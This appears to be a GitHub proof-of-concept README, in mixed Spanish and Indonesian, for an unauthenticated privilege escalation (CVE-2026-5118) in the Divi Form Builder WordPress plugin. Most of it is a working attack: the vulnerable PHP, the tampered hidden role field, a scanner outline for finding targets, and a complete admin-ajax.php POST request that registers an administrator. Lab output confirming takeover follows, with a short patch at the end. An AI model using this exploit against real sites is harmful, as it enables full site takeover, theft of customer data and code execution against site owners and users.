zycoder0day/cve-2026-5118CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Escalada de Privilegios no Autenticado mediante Inyección de Roles
El plugin de WordPress Divi Form Builder versión 5.1.2 y anteriores tiene una vulnerabilidad Crítica que permite a un atacante sin autenticación crear una cuenta de Administrador directamente a través del formulario de registro.
Un campo oculto. Un valor modificado. Acceso completo a todo el sitio web.
| Capacidad | Impacto |
|---|---|
| 🔑 Crear cuenta de admin sin inicio de sesión | Full Site Takeover |
| 📦 Acceder a datos de clientes de WooCommerce | Data Breach |
| 💉 Editar archivos de plugin/tema (PHP) | Remote Code Execution |
| 🕳️ Crear backdoor oculto | Persistent Access |
| 👥 Ver todos los datos de usuarios | Privacy Violation |
includes/shared/handlers/FormSubmissionHandler.php → create_user()
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role); // ← "administrator" langsung diterapkan
ALUR VALIDASI YANG BERMASALAH
┌──────────────────────────────────────────────────────┐
│ Penyerang kirim: role=administrator │
│ ↓ │
│ sanitize_text_field() → "administrator" (bersih) │
│ ↓ │
│ isset($roles_obj->roles["administrator"]) → TRUE │ ← BUG! Hanya cek ADA/TIDAK
│ ↓ │
│ $user->set_role("administrator") → ADMIN PENUH! │ ← PRIVESC!
└──────────────────────────────────────────────────────┘
"administrator" ADALAH role yang valid di WordPress,
jadi validasi isset() SELALU return true.
Fungsi ini TIDAK PERNAH menolak role berbahaya.
El formulario de registro de DFB contiene un input oculto:
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
[★] Target Discovery: Divi Form Builder indicator
├── Endpoint scan: 50+ path registrasi
├── Homepage link crawl: keyword priority
├── REST API: /wp-json/wp/v2/pages?search=register
├── Sitemap parsing: XML sitemap URLs
├── DFB REST API: /wp-json/divi-form-builder/v1
├── AJAX probe: de_fb_ajax_submit_ajax_handler
├── WooCommerce: /my-account/ sub-pages
├── robots.txt: custom sitemaps + disallow
├── Contact pages: DFB forms tersembunyi
└── wp-json deep: content-first scan
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3
Parameter yang diperlukan:
├── fb_nonce: [dari hidden input / de_fb_obj]
├── form_key: [dari hidden input]
├── form_type: register
├── divi-form-submit: yes
└── role: [INJEKSI: administrator]
Field pemetaan:
├── de_fb_user_login + user_login (kedua varian wajib)
├── de_fb_user_email + user_email
├── de_fb_user_pass + user_pass
└── de_fb_pass_repeat
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
[email protected]
------POC
Content-Disposition: form-data; name="user_email"
[email protected]
------POC--
[→] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[←] HTTP 302 → /wp-admin/
[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
├── Dashboard: /wp-admin/
├── Users: Can create/delete any user
├── Plugins: Can install/activate/edit PHP
├── Themes: Can edit template files → RCE
└── Settings: Full site control
Las pruebas se realizaron en un entorno Docker aislado (WordPress 6.5 + DFB v5.0.0):
╔══════════════════════════════════════════════════════╗
║ LAB VERIFICATION RESULTS ║
╠══════════════════════════════════════════════════════╣
║ Method: AJAX (admin-ajax.php) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Method: Form POST (direct submission) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Status: ★ PWNED — Full Admin Access ★ ║
╚══════════════════════════════════════════════════════╝
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Hanya cek ADA, bukan AMAN
}
// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Tolak semua role berbahaya
}